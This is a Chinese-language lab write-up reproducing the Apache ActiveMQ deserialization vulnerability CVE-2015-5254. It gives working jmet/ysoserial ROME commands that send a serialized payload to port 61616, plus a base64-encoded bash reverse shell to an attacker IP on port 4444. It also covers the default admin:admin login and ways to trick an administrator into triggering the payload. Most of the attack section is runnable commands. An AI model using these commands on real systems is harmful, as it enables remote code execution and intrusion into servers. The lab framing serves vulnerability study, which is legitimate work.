【漏洞复现】---- ActiveMQ 反序列化漏洞(CVE-2015-5254)

一、简介

  • Apache ActiveMQ是老外所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等该漏洞源于程序没有限制可在代理中序列化的类。攻击者可以借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行恶意代码。
  • 漏洞影响的版本为:Apache ActiveMQ 5.13.0之前的版本。

二、漏洞环境准备

pull下来内容
在这里插入图片描述
环境运行后,将监听616168161两个端口。其中61616是工作端口,消息在这个端口进行传递8161是Web管理页面端口。访问http://192.168.15.148:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的。默认的登录是admin:admin(activemq弱口令)
在这里插入图片描述


三、漏洞复现

步骤如下:

  • (1)、构造可以执行命令的序列化对象
  • (2)、将这个对象作为一个消息,发送给目标的61616端口
  • (3)、访问web管理页面(8161端口),读取消息,触发漏洞

另:这里使用jmet进行漏洞的利用,jmet的原理是使用ysoserial ( 它集合了各种java反序列化漏洞 ) 生成payload并发送,jmet的jar自带ysoserial,所以我们需要在ysoserialgedget中选择一个可以使用的,比如ROME


我们首先下载jmet,网址为:https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
下载好了之后把他放到kali的/opt
在这里插入图片描述
然后我们执行命令:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.15.148 61616
在这里插入图片描述
此时会给目标的ActiveMQ中添加一个名为event的队列,可通过:http://192.168.15.148:8161/admin/browse.jsp?JMSDestination=event,访问。看到这个队列中的所有消息。
在这里插入图片描述
点击这条消息可以触发命令执行
在这里插入图片描述
在靶机中进入容器,命令:docker ps ; docker exec -it ad2 /bin/bash。我们可以看到success已经成功的写入了/tmp目录下。
在这里插入图片描述
我们利用该漏洞还可达到反弹shell的效果,我们的反弹shell命令为:bash -i >& /dev/tcp/192.168.15.129/4444 0>&1 => 经过base64编码为 => YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS80NDQ0IDA+JjE=最终的反弹shell为:bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}


这里经过的变化是这样的:
bash -i >& /dev/tcp/攻击机IP/4444 0>&1
不过是需要做一下绕过的
bash -c {echo payload的base64编码}|{base64, -d}|{bash, -i}


在kali中执行:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.15.148 61616
在这里插入图片描述
事件写入成功
在这里插入图片描述
监听4444端口,然后点击事件即可反弹shell成功
在这里插入图片描述
值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。
使用完了之后不要忘了关闭容器偶
在这里插入图片描述


四、可利用的版本

  • 漏洞影响的版本为:Apache ActiveMQ 5.13.0之前的版本。